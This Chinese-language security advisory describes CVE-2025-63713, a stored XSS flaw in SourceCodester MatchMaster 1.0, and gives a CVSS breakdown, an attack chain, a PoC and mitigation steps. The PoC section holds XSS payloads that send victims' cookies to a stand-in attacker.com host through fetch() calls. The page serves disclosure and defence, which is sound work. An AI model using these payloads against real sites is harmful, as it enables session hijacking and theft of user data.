IPBUF安全漏洞报告
English
CVE-2025-63713 CVSS 6.1 中危

CVE-2025-63713: SourceCodester MatchMaster 1.0 XSS跨站脚本漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-63713
漏洞类型
XSS跨站脚本攻击
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester MatchMaster 1.0

相关标签

XSS跨站脚本攻击CVE-2025-63713SourceCodesterMatchMaster存储型XSSWeb应用安全JavaScript漏洞

漏洞概述

CVE-2025-63713是SourceCodester开发的MatchMaster 1.0版本中的一个中危跨站脚本(XSS)漏洞,CVSS评分为6.1。该漏洞存在于应用程序的自定义测试创建功能中,攻击者可以通过在测试标题和配对项目条目中注入恶意脚本来利用此漏洞。当用户在浏览器中执行这些测试时,未经消毒的用户输入将被直接渲染到DOM中,导致恶意JavaScript代码在受害者浏览器中执行。

MatchMaster是一个基于HTML、CSS和JavaScript开发的匹配类型测试应用,允许用户创建和管理各种测试题目。由于应用程序在处理用户输入时缺乏适当的输入验证和输出编码,攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或植入恶意重定向。

该漏洞的威胁程度为中等,主要因为其利用需要用户交互(UI:R),攻击者需要诱导受害者访问特制链接或提交包含恶意payload的测试数据。然而,一旦成功利用,攻击者可以在受害者浏览器上下文中执行任意JavaScript代码,从而获取敏感信息或执行未授权操作。

该漏洞于2025年11月7日被披露,CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N,表明攻击复杂度低,无需认证即可发起攻击,但需要用户交互才能完成攻击链。

技术细节

该XSS漏洞的根本原因在于应用程序对用户输入的验证和输出编码不足。具体来说,当用户创建自定义测试时,应用程序允许在以下两个字段中注入恶意代码:

1. 测试标题字段(Test Title):攻击者可以在创建测试时将测试标题设置为包含JavaScript代码的字符串,如:<script>alert(document.cookie)</script>。

2. 配对项目条目(Matching Pair Items):攻击者可以在配对项目的名称或描述中嵌入恶意脚本,使用事件处理器如<img src=x onerror=alert(1)>或<a href="javascript:alert(document.domain)">等。

当其他用户访问或执行这些测试时,应用程序从数据库中检索这些未经过滤的数据,并直接将其插入到HTML响应中。浏览器在解析HTML时将其识别为可执行脚本并执行,从而触发XSS攻击。

利用此漏洞的攻击者可以:
- 窃取用户会话令牌和认证凭据
- 修改页面内容进行钓鱼攻击
- 重定向用户到恶意网站
- 在用户浏览器中执行键盘记录器
- 绕过同源策略限制进行进一步攻击

攻击的典型场景是:攻击者首先注册一个账户,然后创建一个包含XSS payload的测试,当其他用户(可能是教师或学生)执行该测试时,payload就会被触发。

攻击链分析

STEP 1
步骤1
攻击者注册MatchMaster应用程序账户并登录系统
STEP 2
步骤2
攻击者访问测试创建功能,在测试标题字段中注入XSS payload(如<script>标签或事件处理器)
STEP 3
步骤3
攻击者在配对项目条目中添加恶意代码,使用img标签的onerror事件或其他事件处理器绕过过滤器
STEP 4
步骤4
应用程序将包含恶意代码的测试数据存储到数据库中,未进行输入验证或消毒处理
STEP 5
步骤5
受害者(教师或学生)登录系统并访问攻击者创建的恶意测试
STEP 6
步骤6
应用程序从数据库检索测试数据,在页面渲染时将未经过滤的用户输入直接插入HTML
STEP 7
步骤7
受害者浏览器解析HTML时识别并执行注入的恶意JavaScript代码
STEP 8
步骤8
恶意脚本窃取受害者的会话cookie或执行其他恶意操作,将数据传输到攻击者控制的服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-63713 PoC - XSS in MatchMaster 1.0 // This PoC demonstrates the XSS vulnerability in the test creation feature // Payload 1: Stored XSS via Test Title const xssPayloadTitle = '<script>\n fetch("https://attacker.com/steal?cookie=" + document.cookie)\n<\/script>'; // Payload 2: XSS via Matching Pair Item (using img onerror) const xssPayloadItem = '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+document.cookie)">'; // Payload 3: XSS using event handler const xssPayloadEvent = '<svg/onload=fetch("https://attacker.com/exfil?"+btoa(document.cookie))>'; // Simulate creating a malicious test function createMaliciousTest() { const testData = { title: xssPayloadTitle, pairs: [ { left: xssPayloadItem, right: 'Correct Answer' }, { left: 'Question 2', right: xssPayloadEvent } ] }; // In real attack, this would be submitted to the application console.log('Malicious test created with XSS payload'); console.log('Payload will execute when victim views the test'); return testData; } // When victim views the test, the following happens: // 1. Application retrieves test data from database // 2. Test title is inserted into HTML without encoding: <h1>{user_input}</h1> // 3. Browser executes the script tag // 4. Attacker gains access to victim's session createMaliciousTest();

影响范围

SourceCodester MatchMaster 1.0

防御指南

临时缓解措施
在官方修复发布之前,可以采取以下临时缓解措施:1) 禁用测试创建功能的用户输入中的HTML标签;2) 实施严格的输入过滤规则,拒绝包含<script>、<img>、<svg>等标签的输入;3) 使用JavaScript的textContent而非innerHTML来设置用户生成的内容;4) 对所有用户输入应用URL编码和HTML实体编码;5) 限制非管理员用户创建测试的权限;6) 启用Web应用防火墙的XSS防护规则;7) 监控应用程序日志以检测潜在的XSS攻击尝试;8) 通知用户不要点击来源不明的测试链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表